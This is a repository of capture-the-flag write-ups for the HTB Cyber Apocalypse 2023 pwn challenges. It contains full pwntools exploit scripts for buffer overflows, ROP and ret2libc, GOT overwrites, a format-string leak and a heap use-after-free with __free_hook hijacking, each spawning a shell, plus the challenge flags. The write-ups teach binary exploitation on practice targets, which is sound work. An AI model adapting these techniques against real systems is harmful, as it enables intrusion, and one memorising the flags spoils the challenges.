├── void ├── .gdb_history └── README.md ├── kana ├── bigger_len.png ├── cpp_strings.png └── README.md ├── labyrinth ├── remote.png ├── into_escape_plan.png ├── overflow_ret_ptr.png └── README.md ├── getting_started └── README.md ├── README.md ├── pandoras_box └── README.md ├── questionnaire └── README.md ├── control_room └── README.md ├── math_door └── README.md └── runic └── README.md /void/.gdb_history: -------------------------------------------------------------------------------- 1 | break *main 2 | r 3 | quit 4 | -------------------------------------------------------------------------------- /kana/bigger_len.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mymaqn/HTBCA2023_Pwn_Writeups/HEAD/kana/bigger_len.png -------------------------------------------------------------------------------- /kana/cpp_strings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mymaqn/HTBCA2023_Pwn_Writeups/HEAD/kana/cpp_strings.png -------------------------------------------------------------------------------- /labyrinth/remote.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mymaqn/HTBCA2023_Pwn_Writeups/HEAD/labyrinth/remote.png -------------------------------------------------------------------------------- /labyrinth/into_escape_plan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mymaqn/HTBCA2023_Pwn_Writeups/HEAD/labyrinth/into_escape_plan.png -------------------------------------------------------------------------------- /labyrinth/overflow_ret_ptr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mymaqn/HTBCA2023_Pwn_Writeups/HEAD/labyrinth/overflow_ret_ptr.png -------------------------------------------------------------------------------- /getting_started/README.md: -------------------------------------------------------------------------------- 1 | # Getting Started - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | Get ready for the last guided challenge and your first real exploit. It's time to show your hacking skills. 5 | 6 | ## Solution 7 | 8 | The binary basically tells us it has a buffer overflow and we just need to overflow the 0xdeadbeef value to become anything else. 9 | 10 | Sending 48 A's does the trick (but can be done in less). 11 | 12 | All the information needed to figure this out is given by the binary itself when running it. No debugging or reversing required, just send a bunch of A's 13 | 14 | ```py 15 | from pwn import * 16 | 17 | io = remote("167.99.86.8",30042) 18 | 19 | io.sendline(b'A'*48) 20 | 21 | io.interactive() 22 | ``` 23 | 24 | ## Flag 25 | `HTB{b0f_s33m5_3z_r1ght?}` 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HTBCA2023_Pwn_Writeups 2 | Writeups for all pwn challenges from HTB Cyber Apocalypse 2023 except "Initialise connection" (if you don't know how to use netcat, then what are you doing here?) 3 | 4 | ## Table of Contents 5 | 6 | #### very easy: 7 | [Questionnaire](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/questionnaire) 8 | 9 | [Getting Started](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/getting_started) 10 | 11 | #### easy: 12 | [Labyrinth](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/labyrinth) 13 | 14 | [Pandora's Box](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/pandoras_box) 15 | 16 | #### medium 17 | [Void](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/void) 18 | 19 | [Kana](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/kana) 20 | 21 | #### hard 22 | [Control Room](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/control_room) 23 | 24 | [Math Door](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/math_door) 25 | 26 | #### insane 27 | [Runic](https://github.com/Mymaqn/HTBCA2023_Pwn_Writeups/tree/master/runic) 28 | -------------------------------------------------------------------------------- /pandoras_box/README.md: -------------------------------------------------------------------------------- 1 | # Pandora's box - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | You stumbled upon one of Pandora's mythical boxes. Would you be curious enough to open it and see what's inside, or would you opt to give it to your team for analysis? 5 | 6 | ## Solution 7 | There's a buffer overflow inside the `Insert location of the library:` prompt, which allows us to perform ROP. 8 | 9 | Checksec: 10 | ``` 11 | Arch: amd64-64-little 12 | RELRO: Full RELRO 13 | Stack: No canary found 14 | NX: NX enabled 15 | PIE: No PIE (0x400000) 16 | RUNPATH: b'./glibc/' 17 | ``` 18 | 19 | file: 20 | ``` 21 | ./pb: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=d0165634ba8886a0cdf61584d8c941d30ff3820e, for GNU/Linux 3.2.0, not stripped 22 | ``` 23 | 24 | There is no PIE or canary on the binary, so we just have straight up ROP. 25 | 26 | Since there is no win function in this binary, we will have to leak libc. 27 | 28 | This can be done by using puts to leak an address in the Global Offset Table, then returning to main. 29 | 30 | Any address in the GOT can be used. But in this case I opted to use the puts GOT also. 31 | 32 | ``` 33 | I use the puts to the leak the puts :) 34 | ``` 35 | 36 | The exploitation will be divided into two stages. 37 | 38 | 1. Leak the puts GOT 39 | 2. Overflow and ret2libc 40 | 41 | To leak the puts got, we first pop the address of the puts GOT into rdi. Then jump to puts's plt to call puts. Puts will then dereference our address and print the contents. We can then return to box() afterwards. 42 | 43 | After we have leaked libc, we have all the options in the world. So spawning a shell with system seem like a good candidate. 44 | 45 | Exploit: 46 | ```py 47 | from pwn import * 48 | 49 | io = remote("165.232.108.236",30641) 50 | 51 | #Function to get to the overflow 52 | def get_to_overflow(): 53 | io.recvuntil(b'>>') 54 | 55 | io.sendline(b'2') 56 | 57 | io.recvuntil(b'Insert location of the library:') 58 | 59 | 60 | get_to_overflow() 61 | 62 | padding = b'A'*cyclic_find(b'oaaa') 63 | 64 | #Gadgets needed for leaking the puts GOT 65 | poprdi = p64(0x000000000040142b) 66 | putsgot = p64(0x403fa0) 67 | putsplt = p64(0x00401030) 68 | box = p64(0x004012c2) 69 | 70 | #Leak puts GOT 71 | payload = [ 72 | padding, 73 | poprdi, 74 | putsgot, 75 | putsplt, 76 | box 77 | ] 78 | payload = b''.join(payload) 79 | io.sendline(payload) 80 | 81 | #Receive puts leak 82 | io.recvuntil(b'We will deliver the mythical box to the Library for analysis, thank you!\n\n') 83 | puts_leak = u64(io.recvline()[:-1].ljust(8,b'\x00')) 84 | 85 | #Calculate base of LIBC 86 | libc_base = puts_leak - 0x80ed0 87 | log.info(f"LIBC BASE: {libc_base:#x}") 88 | 89 | #Calculate pointers we need 90 | system = p64(0x50d60 + libc_base) 91 | binsh = p64(0x001d8698 + libc_base) 92 | ret = p64(0x0000000000401016) 93 | 94 | get_to_overflow() 95 | 96 | #Spawn shell payload 97 | payload = [ 98 | padding, 99 | ret, #For alignment 100 | poprdi, 101 | binsh, 102 | system 103 | ] 104 | payload = b''.join(payload) 105 | io.sendline(payload) 106 | 107 | 108 | io.interactive() 109 | ``` 110 | 111 | ## Flag 112 | `HTB{r3turn_2_P4nd0r4?!}` 113 | -------------------------------------------------------------------------------- /void/README.md: -------------------------------------------------------------------------------- 1 | # Void - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | 5 | The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out. 6 | 7 | ## Solution 8 | The binary is tiny, and only calls read to take our user input. This has a buffer overflow in it. 9 | 10 | Checksec 11 | ``` 12 | Arch: amd64-64-little 13 | RELRO: Partial RELRO 14 | Stack: No canary found 15 | NX: NX enabled 16 | PIE: No PIE (0x400000) 17 | RUNPATH: b'./glibc/' 18 | ``` 19 | 20 | This is obviously a ret2dlresolve challenge. 21 | 22 | However I don't like ret2dlresolve as I don't know how to do it. And to be honest I feel like the technique is not even useful at all. So far I've solved 12/12 challenges which had the intended solution of using ret2dlresolve, without using ret2dlresolve. I'm not about to start learning the technique now! 23 | 24 | Since the binary uses read, I took a look at the LSB of read in the GOT, to see if I could overwrite it to become syscall. The answer to that question is yes. 25 | 26 | The general flow of exploitation with ROP is then: 27 | 28 | 1. Call read to overwrite the LSB of the read GOT. So it becomes syscall instead 29 | 2. Since overwriting LSB is a one byte read. RAX contains 1. We can now call the Read GOT and instead leak the full GOT 30 | 3. Restore the read GOT by jumping to read plt+6. This will re-resolve read and restore its GOT 31 | 4. Receive leak and pop shell 32 | 33 | Exploit: 34 | 35 | ```py 36 | from pwn import * 37 | 38 | context.binary = "./void" 39 | padding = b'A'*72 40 | 41 | io = remote("165.232.108.240",30338) 42 | 43 | poprsir15 = p64(0x00000000004011b9) 44 | read = p64(0x00401030) 45 | vuln = p64(0x00401122) 46 | ret = p64(0x0000000000401016) 47 | re_resolve_read = p64(0x00401036) 48 | poprdi = p64(0x00000000004011bb) 49 | 50 | 51 | 52 | payload = [ 53 | #Overwrite LSB so read becomes syscall 54 | padding, 55 | poprsir15, 56 | p64(0x404018), 57 | p64(0xdeadbeef), 58 | read, 59 | #Leak the GOT. RAX is already 1 60 | poprsir15, 61 | p64(0x404018), 62 | p64(0xdeadbeef), 63 | poprdi, 64 | p64(0x1), 65 | read, 66 | #Resolve read back to being read again 67 | poprdi, 68 | p64(0x0), 69 | re_resolve_read, 70 | vuln 71 | ] 72 | payload = b''.join(payload) 73 | sleep(0.1) 74 | io.send(payload) 75 | sleep(0.1) 76 | io.send(b'\x8c') 77 | sleep(0.1) 78 | io.send(b'\x80') 79 | 80 | #Receive leak 81 | leak = u64(io.recv(8)) 82 | libc_base = leak-0xec78c 83 | print(f"LIBC BASE {libc_base:#x}") 84 | 85 | 86 | #Spawn shell 87 | poprsi = p64(libc_base+0x000000000002590f) 88 | poprdx = p64(libc_base+0x00000000000c8acd) 89 | poprax = p64(libc_base+0x000000000003be88) 90 | syscall = p64(libc_base+0x00000000000550da) 91 | binsh = p64(libc_base+0x00196152) 92 | 93 | 94 | payload = [ 95 | padding, 96 | poprdi, 97 | binsh, 98 | poprsi, 99 | p64(0), 100 | poprdx, 101 | p64(0), 102 | poprax, 103 | p64(59), 104 | syscall 105 | ] 106 | 107 | payload = b''.join(payload) 108 | sleep(0.1) 109 | io.send(payload) 110 | 111 | 112 | io.interactive() 113 | ``` 114 | 115 | ## Flag 116 | As expected. The intended solution was ret2dlresolve, and now I'm 13/13 :D 117 | 118 | `HTB{r3s0lv3_th3_d4rkn355}` 119 | -------------------------------------------------------------------------------- /questionnaire/README.md: -------------------------------------------------------------------------------- 1 | # Questionnaire - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | It's time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag. 5 | 6 | ## Solution 7 | 8 | Just a simple questionnaire which needs to be answered by connecting to the remote instance. 9 | 10 | Connect using `nc ` 11 | 12 | Answers to all questions can be found by reading the descriptions of each section carefully on the remote instance. 13 | 14 | Answers to all the questions: 15 | 16 | 17 | ##### Question 1: 18 | 19 | ``` 20 | Is this a '32-bit' or '64-bit' ELF? (e.g. 1337-bit) 21 | ``` 22 | 23 | ###### Answer: 24 | 25 | ``` 26 | 64-bit 27 | ``` 28 | 29 | ##### Question 2: 30 | 31 | ``` 32 | What's the linking of the binary? (e.g. static, dynamic) 33 | ``` 34 | 35 | ###### Answer: 36 | 37 | ``` 38 | dynamic 39 | ``` 40 | 41 | ##### Question 3 42 | 43 | ``` 44 | Is the binary 'stripped' or 'not stripped'? 45 | ``` 46 | ###### Answer: 47 | ``` 48 | not stripped 49 | ``` 50 | 51 | ##### Question 4 52 | 53 | ``` 54 | Which protections are enabled (Canary, NX, PIE, Fortify)? 55 | ``` 56 | 57 | ###### Answer: 58 | 59 | ``` 60 | NX 61 | ``` 62 | 63 | ##### Question 5 64 | 65 | ``` 66 | What is the name of the custom function that gets called inside `main()`? (e.g. vulnerable_function()) 67 | ``` 68 | 69 | ###### Answer: 70 | 71 | ``` 72 | vuln() 73 | ``` 74 | 75 | ##### Question 6 76 | 77 | ``` 78 | What is the size of the 'buffer' (in hex or decimal)? 79 | ``` 80 | 81 | ###### Answer: 82 | 83 | ``` 84 | 0x20 85 | ``` 86 | 87 | ##### Question 7 88 | 89 | ``` 90 | Which custom function is never called? (e.g. vuln()) 91 | ``` 92 | 93 | ###### Answer: 94 | 95 | ``` 96 | gg() 97 | ``` 98 | 99 | ##### Question 8 100 | 101 | ``` 102 | What is the name of the standard function that could trigger a Buffer Overflow? (e.g. fprintf()) 103 | ``` 104 | 105 | ###### Answer: 106 | 107 | ``` 108 | fgets() 109 | ``` 110 | 111 | ##### Question 9 112 | 113 | ``` 114 | Insert 30, then 39, then 40 'A's in the program and see the output. 115 | 116 | After how many bytes a Segmentation Fault occurs (in hex or decimal)? 117 | ``` 118 | 119 | ###### Answer: 120 | 121 | ``` 122 | 0x28 123 | ``` 124 | 125 | This can be calculated from the 0x20 buffer, rbp overwritten fully at 0x28 so 0x28 causes segfault cause of newline from fgets 126 | 127 | ##### Question 10 128 | 129 | ``` 130 | What is the address of 'gg()' in hex? (e.g. 0x401337) 131 | ``` 132 | 133 | ###### Answer: 134 | 135 | ``` 136 | 0x401176 137 | ``` 138 | 139 | ##### Flag 140 | `HTB{th30ry_bef0r3_4cti0n}` 141 | 142 | 143 | ### Automatic script 144 | ```py 145 | from pwn import * 146 | 147 | context.log_level = "ERROR" 148 | IP = "Insert IP here" 149 | PORT = 0x0 # 150 | io = remote(IP, PORT) 151 | 152 | def send_answer(ans): 153 | io.recvuntil(b'>> ') 154 | io.sendline(ans) 155 | 156 | answers = [ 157 | b'64-bit', 158 | b'dynamic', 159 | b'not stripped', 160 | b'NX', 161 | b'vuln()', 162 | b'0x20', 163 | b'gg()', 164 | b'fgets()', 165 | b'0x28', 166 | b'0x401176' 167 | ] 168 | 169 | for answer in answers: 170 | send_answer(answer) 171 | io.recvuntil(b'your first challenge! Here is the flag!\n\n') 172 | flag = io.recvline() 173 | print(f"FLAG: {flag.decode('UTF-8')}") 174 | io.close() 175 | ``` 176 | -------------------------------------------------------------------------------- /kana/README.md: -------------------------------------------------------------------------------- 1 | # Kana - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | To facilitate communication between certain civilizations, a converter was developed. But can this converter be trusted to keep their messages secure? 5 | 6 | ## Solution 7 | There is a weird buffer overflow/OOB write inside of the function which prints the banner and takes our input: 8 | 9 | ```C 10 | memset(&local_78,0,0x30); 11 | while( true ) { 12 | read(0,(void *)((long)&local_78 + (long)local_1c),1); 13 | if (*(char *)((long)&local_78 + (long)local_1c) == '\n') break; 14 | local_1c = local_1c + 1; 15 | } 16 | *(undefined *)((long)&local_78 + (long)local_1c) = 0; 17 | atoi((char *)&local_78); 18 | return; 19 | ``` 20 | 21 | This just reads until it hits a newline. However local_1c is on the stack after our input. If we try to overflow with A's no segmentation fault will happen. 22 | 23 | This is because we set our indexing to where we should write, to something lower than what was there before. Therefore the rest of our input is read into our actual buffer. 24 | 25 | An example of triggering the buffer overflow can be seen here: 26 | ```py 27 | from pwn import * 28 | 29 | 30 | io = process("./kana") 31 | padding = b'A'*92 + b'\x5d\x00\x00\x00' + b'A'*0x100 32 | 33 | io.send(padding) 34 | 35 | io.interactive() 36 | ``` 37 | 38 | Since our last index in our buffer is 0x5d, we overwrite the index with this number, which causes us to be able to overflow further. However just overflowing isn't enough as the binary has PIE: 39 | 40 | Checksec: 41 | ``` 42 | Arch: amd64-64-little 43 | RELRO: Full RELRO 44 | Stack: No canary found 45 | NX: NX enabled 46 | PIE: PIE enabled 47 | ``` 48 | 49 | Because of this we need to figure out a way to leak. Probably abusing the indexing mechanism to write to something further down the stack than the return pointer of the function. 50 | 51 | It took a while to figure out what to overwrite. But I then realized that all strings given to C++'s `cin` function are stored with the length on top of it. We can see then if we create a new kana and call it `CCCCC` for example: 52 | 53 | ![cpp_strings](./cpp_strings.png) 54 | 55 | We can easily test this theory by setting the value to something high. Like 0x80: 56 | 57 | ![bigger_len](./bigger_len.png) 58 | 59 | This makes it a primary target, as we can just overwrite the size of the string to be something way bigger, which then results in the program printing out a bunch of pointers on the stack when printing our kana. 60 | 61 | After some calculation I found that we need to set our indexer to 0xc7, since our the length of our kana starts at 0xc8. We can then overwrite this to be 0xf0 and receive a leak. 62 | 63 | Once the leak is received, this just becomes normal ROP inside of libc. 64 | 65 | 66 | Exploit: 67 | ```py 68 | from pwn import * 69 | 70 | io = remote("46.101.80.159",31595) 71 | 72 | 73 | io.recvuntil(b'>>') 74 | io.sendline(b'4') 75 | io.recvuntil(b'>>') 76 | io.sendline(b'CCCCCCCCCCCC') 77 | io.recvuntil(b'>>') 78 | #Overwrite the kana length to be 0xf0 instead 79 | io.sendline(b'A'*92+b'\xc7'+p8(0xf0)) 80 | 81 | #Receive leak 82 | io.recvuntil(b' : ') 83 | libc_leak = u64(io.recvline()[0x78:0x80]) 84 | libc_base = libc_leak - 0x29d90 85 | print(f"LIBC LEAK: {libc_base:#x}") 86 | 87 | #Calc gadgets 88 | poprdi = p64(libc_base+0x000000000002a3e5) 89 | poprsi = p64(libc_base+0x000000000002be51) 90 | poprdx = p64(libc_base+0x000000000011f497) 91 | poprax = p64(libc_base+0x0000000000045eb0) 92 | binsh = p64(libc_base+0x001d8698) 93 | syscall = p64(libc_base+0x0000000000091396) 94 | 95 | 96 | #Pop shell 97 | io.recvuntil(b'>>') 98 | padding = b'A'*92+b'\x5d\x00\x00\x00'+b'B'*23 99 | 100 | payload = [ 101 | padding, 102 | poprdi, 103 | binsh, 104 | poprsi, 105 | p64(0), 106 | poprdx, 107 | p64(0), 108 | p64(0xdeadbeef), 109 | poprax, 110 | p64(59), 111 | syscall 112 | ] 113 | payload = b''.join(payload) 114 | io.sendline(payload) 115 | 116 | 117 | 118 | io.interactive() 119 | ``` 120 | 121 | ## Flag 122 | `HTB{7e6bcd08450c69d3e9e8f225aaf7f90d}` 123 | -------------------------------------------------------------------------------- /control_room/README.md: -------------------------------------------------------------------------------- 1 | # Control Room - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | After unearthing the crashed alien spacecraft you have hacked your way into it's interior. Nothing seems perticularily interesting until you find the spacecraft's control room. Filled with monitors, buttons and panels this room surely contains a lot of important information, including the coordinates of the underground alien vessels that you 've been looking for. You decide to start off by booting up the main computer. You hear an uncanny buzzing-like noise and then a monitor lights up requesting you to enter a username. Can you take control of the Control Room? 5 | 6 | ## Solution 7 | There are 2 bugs in this program. 8 | 9 | An off-by-one NULL byte overflow inside of edit_user, which allows us to overwrite the user's role with a NULL byte to become Captain. 10 | An OOB write in the configure_engine function, which allows us to write into indexes that are in the negative. 11 | 12 | Checksec: 13 | ``` 14 | Arch: amd64-64-little 15 | RELRO: Partial RELRO 16 | Stack: Canary found 17 | NX: NX enabled 18 | PIE: No PIE (0x400000) 19 | ``` 20 | 21 | I tried to figure out how to leak with the Captain. As he had the latitude longitude way of writing characters out. In the end I was only able to cause a stack leak with this, so I gave up and decided to take another approach which only really used the technician. The full exploit process was as follows: 22 | 23 | 1. Use NULL byte overflow to change ourselves to Captain in the beginning 24 | 2. Change role to technician 25 | 3. Overwrite exit GOT with user_register so we can use this as an arb write but without NULL bytes 26 | 4. Overwrite the curr_user pointer to point at the end of control_panel instead. 27 | 5. This changes us back to Captain so we change our role back to technician again 28 | 6. Overwrite puts' GOT so it becomes printf instead. 29 | 7. Make the program "exit" which calls user_register instead. This lets us write into the control_panel string. We write in a bunch of %p's, which causes a leak, since puts is now printf instead. 30 | 8. Receive leak 31 | 9. Overwrite strlen's GOT with system 32 | 10. Make the program call "exit" again which will call user_register. Write in /bin/sh. This will cause strlen which is actually system to be triggered with /bin/sh as input. 33 | 34 | 35 | Exploit: 36 | 37 | ```py 38 | from pwn import * 39 | 40 | io = remote("165.232.100.84",31246) 41 | 42 | #Become Captain 43 | username = b'A'*0x100 44 | 45 | io.recvuntil(b'Enter a username:') 46 | 47 | io.send(username) 48 | 49 | io.recvuntil(b'>') 50 | 51 | io.sendline(b'n') 52 | 53 | io.recvuntil(b'New username size:') 54 | 55 | io.sendline(b'256') 56 | 57 | io.recvuntil(b'Enter your new username:') 58 | io.send(b'A'*0xff) 59 | 60 | io.recvuntil(b'Option [1-5]:') 61 | 62 | #Change role to technician 63 | io.sendline(b'5') 64 | io.recvuntil(b'New role:') 65 | io.sendline(b'1') 66 | 67 | 68 | #overwrite exit with user_register to get an arb write without NULL bytes 69 | user_register = 0x0040170c 70 | io.recvuntil(b'Option [1-5]:') 71 | io.sendline(b'1') 72 | io.recvuntil(b'Engine number [0-3]:') 73 | io.sendline(b'-7') 74 | io.recvuntil(b'Thrust:') 75 | io.sendline(f"{user_register}".encode()) 76 | io.recvuntil(b'Mixture ratio:') 77 | io.sendline(b'0') 78 | io.recvuntil(b'(y/n)') 79 | io.sendline(b'y') 80 | 81 | #overwrite curr_user pointer to point at control_panel 82 | io.recvuntil(b'Option [1-5]:') 83 | io.sendline(b'1') 84 | io.recvuntil(b'Engine number [0-3]:') 85 | io.sendline(b'-2') 86 | io.recvuntil(b'Thrust:') 87 | io.sendline(f"{0x4053b8}".encode()) 88 | io.recvuntil(b'Mixture ratio:') 89 | io.sendline(b'0') 90 | io.recvuntil(b'(y/n)') 91 | io.sendline(b'y') 92 | 93 | #Change role to technician 94 | io.sendline(b'5') 95 | io.recvuntil(b'New role:') 96 | io.sendline(b'1') 97 | 98 | 99 | #overwrite puts to become printf 100 | strncpy_orig_got = 0x401040 101 | printf_plt = 0x004011e0 102 | io.recvuntil(b'Option [1-5]:') 103 | io.sendline(b'1') 104 | io.recvuntil(b'Engine number [0-3]:') 105 | io.sendline(b'-16') 106 | io.recvuntil(b'Thrust:') 107 | io.sendline(f"{strncpy_orig_got}".encode()) 108 | io.recvuntil(b'Mixture ratio:') 109 | io.sendline(f"{printf_plt}".encode()) 110 | io.recvuntil(b'(y/n)') 111 | io.sendline(b'y') 112 | 113 | #overwrite the control panel with fmt string shit 114 | io.recvuntil(b'Option [1-5]:') 115 | io.sendline(b'6') 116 | io.recvuntil(b'Enter a username:') 117 | io.sendline(b'&'+b'%p_'*83+b'&') 118 | io.recvuntil(b'&') 119 | leak = int(io.recvuntil(b'&').split(b'_')[2],16) 120 | libc_base = leak - 0x114a37 121 | 122 | log.info(f"libc leak: {libc_base:#x}") 123 | 124 | system = libc_base+0x00050d60 125 | 126 | #overwrite strlen with system 127 | stack_chk_orig_got = 0x401090 128 | io.recvuntil(b'Option [1-5]:') 129 | io.sendline(b'1') 130 | io.recvuntil(b'Engine number [0-3]:') 131 | io.sendline(b'-14') 132 | io.recvuntil(b'Thrust:') 133 | io.sendline(f"{system}".encode()) 134 | io.recvuntil(b'Mixture ratio:') 135 | io.sendline(f"{stack_chk_orig_got}".encode()) 136 | io.recvuntil(b'(y/n)') 137 | io.sendline(b'y') 138 | 139 | 140 | #Send /bin/sh\x00 so that we call /bin/sh with strlen 141 | io.recvuntil(b'Option [1-5]:') 142 | io.sendline(b'6') 143 | 144 | io.recvuntil(b'Enter a username:') 145 | io.sendline(b'/bin/sh\x00') 146 | 147 | io.interactive() 148 | ``` 149 | 150 | ## Flag 151 | `HTB{pr3p4r3_4_1mp4ct~~!}` 152 | -------------------------------------------------------------------------------- /math_door/README.md: -------------------------------------------------------------------------------- 1 | # Math door - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | Pandora is making her way through the ancient city, but she finds herself in a room with only locked doors. One of them looks majestic, and it has lots of hieroglyphs written on its surface. After inspecting it, she realizes it's all math: the door presents a problem and she has to solve it to go through to the heart of the ancient city. Will you be able to help her? 5 | 6 | ## Solution 7 | 8 | Checksec: 9 | ``` 10 | Arch: amd64-64-little 11 | RELRO: Full RELRO 12 | Stack: Canary found 13 | NX: NX enabled 14 | PIE: PIE enabled 15 | RUNPATH: b'.' 16 | ``` 17 | 18 | All protections are enabled on this binary except for fortification. 19 | 20 | The bug in this one is a UAF in the delete() function. 21 | ```C 22 | void delete(void) 23 | 24 | { 25 | uint uVar1; 26 | 27 | puts("Hieroglyph index:"); 28 | uVar1 = read_int(); 29 | if (uVar1 < counter) { 30 | free(*(void **)(chunks + (ulong)uVar1 * 8)); 31 | } 32 | else { 33 | puts("That hieroglyph doens\'t exist."); 34 | } 35 | return; 36 | } 37 | ``` 38 | 39 | This only frees the chunk, but keeps the index inside of the list, which allows us to modify the chunk even after it was freed with add. 40 | 41 | Add adds the bytes given onto the data that is already present in the chunk. 42 | 43 | However no function exists to print the contents of a chunk, therefore we will have to find another way to get a leak. 44 | 45 | Since this is libc 2.31, no heap pointer mangling is present and we can therefore just modify the pointers inside of a chunk. This is about as good as a leak is, but not entirely. So we'll need to create a leak primitive ourselves. 46 | 47 | To create a leak primitive we first need a libc pointer. However the program only allows us to allocate chunks of size 0x18, which means we can't just allocate a chunk which goes into the unsorted bin. 48 | 49 | The solution to this problem is the following: 50 | 1. Create 3 chunks 51 | 2. Delete the 2 first chunks 52 | 3. Point chunk 2's free pointer at chunk 3's size 53 | 4. Reallocate the 2 chunks. Chunk 5 now overlaps with chunk 2's size 54 | 5. Add to chunk 5, overwriting chunk 2's size with 0x421 55 | 6. Allocate enough chunks to realign chunk 2 with the rest of the heap 56 | 7. Free chunk 2 57 | 58 | This will make GLIBC think that it has freed an unsorted bin and provide us with a libc pointer on the heap. 59 | 60 | Next, we can free four other chunks and point the 3rd one to the newly created libc pointer. Then allocate three chunks again. The 4th chunk allocated will be inside libc. 61 | 62 | As we can modify the libc pointer with add, we can basically just point inside anywhere we want in libc. I decided to first allocate 2 chunks inside of the FILE pointer stdout, so that it leaks libc data, next time a function which uses stdout is called. 63 | 64 | Once the leak is received, we can allocate a chunk inside __free_hook and point it at system. Then free a chunk containing the string "/bin/sh" to spawn a shell. 65 | 66 | Here is the exploit which does exactly this: 67 | 68 | ```py 69 | from pwn import * 70 | 71 | context.binary = "./math-door" 72 | 73 | io = remote("104.248.169.175",31001) 74 | 75 | def create(): 76 | io.recvuntil(b'Action:') 77 | io.sendline(b'1') 78 | io.recvuntil(b'Hieroglyph created with index ') 79 | return int(io.recvuntil(b'.')[:-1]) 80 | 81 | def delete(idx): 82 | io.recvuntil(b'Action:') 83 | io.sendline(b'2') 84 | io.recvuntil(b'Hieroglyph index:') 85 | io.sendline(f"{idx}".encode()) 86 | def add(idx,data): 87 | io.recvuntil(b'Action:') 88 | io.sendline(b'3') 89 | io.recvuntil(b'Hieroglyph index:') 90 | io.sendline(f"{idx}".encode()) 91 | io.recvuntil(b'Value to add to hieroglyph:') 92 | io.send(data) 93 | 94 | 95 | # Overlap chunks to overwrite the size of the next chunk 96 | create() 97 | create() 98 | create() 99 | delete(0) 100 | delete(1) 101 | add(1,p8(0x30)) 102 | create() 103 | create() 104 | add(4,p64(0x0)+p64(0x421)) 105 | 106 | # Allocate enough chunks for the new unsorted bin to be a valid chunk 107 | for i in range(5,40): 108 | create() 109 | 110 | #Free the newly created big chunk to get a libc pointer 111 | delete(2) 112 | 113 | #Free some chunks to get pointers we can modify 114 | delete(7) 115 | delete(8) 116 | delete(9) 117 | delete(10) 118 | #Point chunk 9's free pointer to our libc pointers 119 | add(9,p64(unsigned(-0x80))) 120 | #Point our libc pointer at __IO_2_1_stdout-0x10 121 | add(4,b'A'*16+p64(0xab0)) 122 | 123 | #Create 3 chunks so the next chunk we allocate will be inside of stdout 124 | create() 125 | create() 126 | create() 127 | 128 | #Get the index of chunk inside stdout 129 | last_idx = create() 130 | 131 | #Turn the flags variable in stdout to 0xfbad1800 132 | add(last_idx,b'\x00'*16+p64(unsigned(-0x1087))) 133 | 134 | #Point our libc pointer a bit further down so we can allocate a chunk 135 | #on top of _IO_write_base 136 | add(4,b'\x00'*16+p64(0x20)) 137 | 138 | #Free more chunks so we can point it at our libc pointer 139 | delete(11) 140 | delete(12) 141 | delete(13) 142 | delete(14) 143 | 144 | #Point chunk 13 at our libc pointer 145 | add(13,p64(unsigned(-0x100))) 146 | #Create 3 chunks so the next chunk we allocate will be on top of _IO_write_base 147 | create() 148 | create() 149 | create() 150 | 151 | #Get the index of the chink which can overwrite write_base 152 | last_idx = create() 153 | 154 | #Point write_base 0x100 further down. This will now cause a leak when calling puts next 155 | add(last_idx,b'\x00'*16+p64(unsigned(-0x100))) 156 | io.recv(5) 157 | # Receive our leak 158 | leak = u64(io.recv(8)) 159 | 160 | #Calc libc base 161 | libc_base = leak-0x1ed6a0 162 | free_hook = libc_base+0x1eee48 163 | system = libc_base+0x52290 164 | log.info(f"LIBC BASE: {libc_base:#x}") 165 | 166 | #Free more chunks so we can point at __free_hook 167 | delete(15) 168 | delete(16) 169 | delete(17) 170 | delete(18) 171 | add(17,p64(0x10)) 172 | #Point chunk 16 at free hook 173 | add(16,b'A'*16+p64(free_hook-8)) 174 | 175 | #Allocate the chunks untill our free_hook pointer 176 | create() 177 | create() 178 | create() 179 | 180 | #Allocate the free_hook pointer and set it to system 181 | last_idx = create() 182 | add(last_idx,b'A'*8+p64(system)) 183 | 184 | #Put /bin/sh inside of chunk 19 185 | add(19,b'/bin/sh\x00') 186 | 187 | #Trigger free_hook with /bin/sh 188 | delete(19) 189 | 190 | 191 | io.interactive() 192 | ``` 193 | 194 | ## Flag 195 | `HTB{y0ur_m4th_1s_fr0m_4n0th3r_w0rld!}` 196 | -------------------------------------------------------------------------------- /labyrinth/README.md: -------------------------------------------------------------------------------- 1 | # Labyrinth - HTB Cyber Apocalypse 2023 2 | 3 | This is the first pwn challenge in HTB Cyber Apocalypse 2023, which requires us to do some investigating on our own 4 | 5 | **NOTE:** This is the only one of my simple challenge writeups which I go into detail with the reversing and the exploitation of the binary. In all my other writeups for HTB CA 2023 I will NOT be going into this much detail. This writeup is mostly for people new to binary exploitation and not for the veterans, who can solve this in under 5 minutes. 6 | 7 | **TLDR;** Send "69" as input to the first prompt. Overflow at the 2nd prompt and jump to the escape_plan function to get the flag. 8 | 9 | ## Reversing 10 | 11 | ### First quick checks 12 | 13 | First we run checksec to check the protections: 14 | 15 | ``` 16 | Arch: amd64-64-little 17 | 